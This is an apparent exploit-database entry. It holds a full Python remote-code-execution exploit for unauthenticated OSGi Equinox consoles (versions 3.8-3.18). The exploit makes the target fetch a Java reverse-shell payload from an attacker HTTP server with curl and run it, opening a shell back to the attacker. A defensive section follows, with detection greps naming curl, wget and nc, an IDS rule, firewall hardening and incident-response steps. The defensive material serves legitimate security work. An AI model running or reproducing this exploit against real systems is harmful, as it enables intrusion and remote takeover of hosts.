OSGi v3.8-3.18 Console - RCE

Exploit Author: Andrzej Olchawa, Milenko Starcik Analysis Author: www.bubbleslearn.ir Category: WebApps Language: Python Published Date: 2024-03-12
#!/usr/bin/python

# Exploit Title: [OSGi v3.8-3.18 Console RCE]
# Date: [2023-07-28]
# Exploit Author: [Andrzej Olchawa, Milenko Starcik,
#                  VisionSpace Technologies GmbH]
# Exploit Repository:
#           [https://github.com/visionspacetec/offsec-osgi-exploits.git]
# Vendor Homepage: [https://eclipse.dev/equinox]
# Software Link: [https://archive.eclipse.org/equinox/]
# Version: [3.8 - 3.18]
# Tested on: [Linux kali 6.3.0-kali1-amd64]
# License: [MIT]
#
# Usage:
# python exploit.py --help
#
# Example:
# python exploit.py --rhost=192.168.0.133 --rport=1337 --lhost=192.168.0.100 \
#                                                      --lport=4444

"""
This is an exploit that allows to open a reverse shell connection from
the system running OSGi v3.8-3.18 and earlier.
"""
import argparse
import socket
import sys
import threading

from functools import partial
from http.server import BaseHTTPRequestHandler, HTTPServer

# Stage 1 of the handshake message
HANDSHAKE_STAGE_1 = \
    b"\xff\xfd\x01\xff\xfd" \
    b"\x03\xff\xfb\x1f\xff" \
    b"\xfa\x1f\x00\x74\x00" \
    b"\x37\xff\xf0\xff\xfb" \
    b"\x18"

# Stage 2 of the handshake message
HANDSHAKE_STAGE_2 = \
    b"\xff\xfa\x18\x00\x58" \
    b"\x54\x45\x52\x4d\x2d" \
    b"\x32\x35\x36\x43\x4f" \
    b"\x4c\x4f\x52\xff\xf0"

# The buffer of this size is enough to handle the telnet handshake
BUFFER_SIZE = 2 * 1024


class HandlerClass(BaseHTTPRequestHandler):
    """
    This class overrides the BaseHTTPRequestHandler. It provides a specific
    functionality used to deliver a payload to the target host.
    """

    _lhost: str
    _lport: int

    def __init__(self, lhost, lport, *args, **kwargs):
        self._lhost = lhost
        self._lport = lport

        super().__init__(*args, **kwargs)

    def _set_response(self):
        self.send_response(200)
        self.send_header("Content-type", "text/html")
        self.end_headers()

    def do_GET(self):  # pylint: disable=C0103
        """
        This method is responsible for the playload delivery.
        """

        print("Delivering the payload...")

        self._set_response()
        self.wfile.write(generate_revshell_payload(
            self._lhost, self._lport).encode('utf-8'))

        raise KeyboardInterrupt

    def log_message(self, format, *args):  # pylint: disable=W0622
        """
        This method redefines a built-in method to suppress
        BaseHTTPRequestHandler log messages.
        """

        return


def generate_revshell_payload(lhost, lport):
    """
    This function generates the Revershe Shell payload that will
    be executed on the target host.
    """

    payload = \
        "import java.io.IOException;import java.io.InputStream;" \
        "import java.io.OutputStream;import java.net.Socket;" \
        "class RevShell {public static void main(String[] args) " \
        "throws Exception { String host=\"%s\";int port=%d;" \
        "String cmd=\"sh\";Process p=new ProcessBuilder(cmd)." \
        "redirectErrorStream(true).start();Socket s=new Socket(host,port);" \
        "InputStream pi=p.getInputStream(),pe=p.getErrorStream(), " \
        "si=s.getInputStream();OutputStream po=p.getOutputStream()," \
        "so=s.getOutputStream();while(!s.isClosed()){while(pi.available()" \
        ">0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());" \
        "while(si.available()>0)po.write(si.read());so.flush();po.flush();" \
        "Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};" \
        "p.destroy();s.close();}}\n" % (
            lhost, lport)

    return payload


def run_payload_delivery(lhost, lport):
    """
    This function is responsible for payload delivery.
    """

    print("Setting up the HTTP server for payload delivery...")

    handler_class = partial(HandlerClass, lhost, lport)

    server_address = ('', 80)
    httpd = HTTPServer(server_address, handler_class)

    try:
        print("[+] HTTP server is running.")

        httpd.serve_forever()
    except KeyboardInterrupt:
        print("[+] Payload delivered.")
    except Exception as err:  # pylint: disable=broad-except
        print("[-] Failed payload delivery!")
        print(err)
    finally:
        httpd.server_close()


def generate_stage_1(lhost):
    """
    This function generates the stage 1 of the payload.
    """

    stage_1 = b"fork \"curl http://%s -o ./RevShell.java\"\n" % (
        lhost.encode()
    )

    return stage_1


def generate_stage_2():
    """
    This function generates the stage 2 of the payload.
    """

    stage_2 = b"fork \"java ./RevShell.java\"\n"

    return stage_2


def establish_connection(rhost, rport):
    """
    This function creates a socket and establishes the connection
    to the target host.
    """

    print("[*] Connecting to OSGi Console...")
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((rhost, rport))
    print("[+] Connected.")

    return sock


def process_handshake(sock):
    """
    This function process the handshake with the target host.
    """

    print("[*] Processing the handshake...")
    sock.recv(BUFFER_SIZE)
    sock.send(HANDSHAKE_STAGE_1)
    sock.recv(BUFFER_SIZE)
    sock.send(HANDSHAKE_STAGE_2)
    sock.recv(BUFFER_SIZE)
    sock.recv(BUFFER_SIZE)


def deliver_payload(sock, lhost):
    """
    This function executes the first stage of the exploitation.
    It triggers the payload delivery mechanism to the target host.
    """

    stage_1 = generate_stage_1(lhost)

    print("[*] Triggering the payload delivery...")
    sock.send(stage_1)
    sock.recv(BUFFER_SIZE)
    sock.recv(BUFFER_SIZE)


def execute_payload(sock):
    """
    This function executes the second stage of the exploitation.
    It sends payload which is responsible for code execution.
    """

    stage_2 = generate_stage_2()

    print("[*] Executing the payload...")
    sock.send(stage_2)
    sock.recv(BUFFER_SIZE)
    sock.recv(BUFFER_SIZE)
    print("[+] Payload executed.")


def exploit(args, thread):
    """
    This function sends the multistaged payload to the tareget host.
    """

    try:
        sock = establish_connection(args.rhost, args.rport)

        process_handshake(sock)
        deliver_payload(sock, args.lhost)

        # Join the thread running the HTTP server
        # and wait for payload delivery
        thread.join()

        execute_payload(sock)

        sock.close()

        print("[+] Done.")
    except socket.error as err:
        print("[-] Could not connect!")
        print(err)
        sys.exit()


def parse():
    """
    This fnction is used to parse and return command-line arguments.
    """

    parser = argparse.ArgumentParser(
        prog="OSGi-3.8-console-RCE",
        description="This tool will let you open a reverse shell from the "
                    "system that is running OSGi with the '-console' "
                    "option in versions between 3.8 and 3.18.",
        epilog="Happy Hacking! :)",
    )

    parser.add_argument("--rhost", dest="rhost",
                        help="remote host", type=str, required=True)
    parser.add_argument("--rport", dest="rport",
                        help="remote port", type=int, required=True)
    parser.add_argument("--lhost", dest="lhost",
                        help="local host", type=str, required=False)
    parser.add_argument("--lport", dest="lport",
                        help="local port", type=int, required=False)
    parser.add_argument("--version", action="version",
                        version="%(prog)s 0.1.0")

    return parser.parse_args()


def main(args):
    """
    Main fuction.
    """

    thread = threading.Thread(
        target=run_payload_delivery, args=(args.lhost, args.lport))
    thread.start()

    exploit(args, thread)


if __name__ == "__main__":
    main(parse())


OSGi Console RCE (versions 3.8–3.18): Overview, Risks, and Mitigations

The OSGi Equinox console is an administrative interface included with many Java-based OSGi runtimes. When the console is exposed over a network and left unauthenticated, several older Equinox releases (reported in the wild for versions between 3.8 and 3.18) can allow remote command execution. This article explains the vulnerability at a high level, describes impact and detection techniques, and provides practical, defensive steps to mitigate and respond to incidents.

What the OSGi Console is and why it matters

The OSGi console is a management shell that allows operators to interact with bundles, properties, and runtime commands. It is a powerful tool for administration, but that power makes it a high-risk attack surface when accessible to untrusted networks. Misconfiguration or enabling the console with network exposure can let an attacker execute commands with the privileges of the Java process hosting Equinox.

Nature of the vulnerability (high level)

  • Target: Equinox OSGi runtimes configured to expose the console over TCP.
  • Impact: Remote execution of operating system commands or arbitrary code in the context of the Java process hosting Equinox.
  • Root cause (summary): The network-facing console accepts and executes administrative commands without adequate authentication or input restrictions when enabled and accessible remotely.

Why this is critical

  • Privileged execution: The OSGi container often runs with application-level privileges; code execution can lead to full system compromise depending on environment and process permissions.
  • Stealthy persistence: Attackers can drop backdoors, spawn reverse shells, or download and run arbitrary binaries from the compromised host.
  • Widespread use: Equinox is embedded in a variety of products and appliances, so exposed consoles can create a broad attack surface.

Detection: Indicators of Compromise (IOCs) and Monitoring

Common observable signs

  • Unexpected external network connections from the Java process (outbound HTTP, TCP callbacks to unfamiliar IPs or ports).
  • New or unexpected files in the application directory (e.g., dropped scripts, temporary binaries, or .class/.jar files not part of standard deployment).
  • Process tree changes: spawning of shell interpreters (sh, bash) or non-standard child processes of the Java process.
  • Console logs containing administrative command strings or unknown interactive sessions.

Log scanning examples (defensive)

Search application and OS logs for suspicious keywords or unusual commands. The examples below are detection-oriented and intended for defenders.

# scan logs for signs of common fetch or execution utilities (case-insensitive)
grep -Ei "curl|wget|wget\.exe|powershell|nc|ncat|bash|sh" /var/log/*/*.log /opt/app/logs/*.log

Explanation: This command scans common log locations for references to utilities frequently used to fetch and execute payloads. Tailor the paths to your environment and complement with timestamps to isolate recent activity.

# find new files created under the application directory in the last 24 hours
find /opt/equinox -type f -mtime -1 -ls

Explanation: Attackers often write files to the working directory of a compromised process. This command lists files modified within the last day so you can spot newly introduced artifacts.

Network-level detection

  • Monitor for unexpected inbound connections to whatever port the console is listening on, especially from external IPs.
  • Inspect packet captures for telnet-like negotiation sequences or anomalous interactive appearances against the console port.
  • Use IDS/IPS rules to alert on suspicious patterns such as long command strings sent to the console or inline shell commands in telnet sessions.
# Example Suricata-style pseudo-rule for defensive detection (customize to avoid false positives)
# alert tcp any any -> $HOME_NET  (msg:"Possible OSGi console remote command"; flow:established,to_server; content:"fork"; nocase; threshold:type limit, track by_src, count 3, seconds 60; sid:1000001; rev:1;)

Explanation: This illustrative rule raises an alert when a client sends repeated "fork"-like command tokens to the OSGi console port. Replace and tune content/thresholds to your environment. This is an example of how to create a defensive signature; do not use it as an exploit.

Mitigation and Hardening

Immediate mitigation steps

  • If possible, block access to the console port at the network perimeter immediately (firewall rules / security groups).
  • Stop or restrict any Equinox/OSGi instances that expose the console until you can patch or harden them.
  • Rotate any credentials or secrets that were accessible from the affected host, and evaluate the need for credential resets across the environment.

Recommended configuration changes

  • Disable the network-facing console unless it is strictly required for operations.
  • If you must run a console, bind it only to localhost and restrict access via secure administrative tunnels (e.g., SSH local port forwarding or a dedicated management network).
  • Apply principle of least privilege: run Equinox with the minimal OS-level privileges and use filesystem permissions that restrict file creation and execution in the application directory.
# Generic nftables example to restrict a console port to localhost only (replace PORT)
table inet filter {
  chain input {
    type filter hook input priority 0;
    iif lo accept
    tcp dport PORT ip saddr 127.0.0.0/8 accept
    tcp dport PORT drop
  }
}

Explanation: This defensive nftables fragment demonstrates restricting access to a specific TCP port to only localhost or the loopback interface. Replace PORT with the port your console listens on. Use your preferred firewall tool (iptables, nftables, cloud security group) according to your environment.

# Systemd override to prevent services from listening on all addresses: run under a socket or use PrivateNetwork
# Example: add 'PrivateNetwork=yes' to the unit to isolate network namespace
[Service]
PrivateNetwork=yes

Explanation: Setting PrivateNetwork for a systemd service isolates the service network namespace from the host, preventing it from accepting external TCP connections unless explicitly configured. Test thoroughly, as this may affect other connectivity requirements.

Patching and long-term fixes

  • Upgrade Equinox/OSGi runtime to a version that addresses the console exposure/vulnerability. Consult vendor release notes and security advisories.
  • Apply OS and JVM security patches; use a supported Java distribution with current security updates.
  • Adopt a configuration management workflow to avoid accidental exposure of admin interfaces (infrastructure-as-code, CI checks, peer review of startup flags).

Incident Response and Forensics

Containment

  • Isolate affected hosts from the network to prevent lateral movement and data exfiltration.
  • Collect volatile data (process list, open network connections, in-memory artifacts) before restarting or shutting down the service.

Forensic evidence to collect

  • Application and system logs with timestamps covering the suspected compromise window.
  • Process listings and parent/child relationships for the Java process.
  • Network captures of the console port and any suspicious outbound connections.
  • Filesystem snapshots of the application directory and any newly created artifacts.

Post-incident steps

  • Perform a full review of the host and adjacent systems for additional compromise.
  • Rebuild or reimage compromised systems when integrity cannot be guaranteed.
  • Update detection rules, hardening guides, and operational procedures to prevent recurrence.

Summary Checklist

Action Purpose
Block or restrict console port Immediate exposure containment
Disable remote console / bind to localhost Remove attack surface
Upgrade Equinox/OSGi to patched version Eliminate root cause
Implement host-based and network detection Early warning and rapid response
Perform forensic analysis and reimage if needed Ensure system integrity

Final notes from a security perspective

Network-exposed administrative consoles are a recurring source of critical vulnerabilities across many platforms. The safest course is to keep such consoles off public networks, require strong authentication, and combine host-level protection with network controls and continuous monitoring. If you operate OSGi/Equinox in production, prioritize inventory of any instances with console enabled and treat any unexpected network exposure as a high-priority remediation item.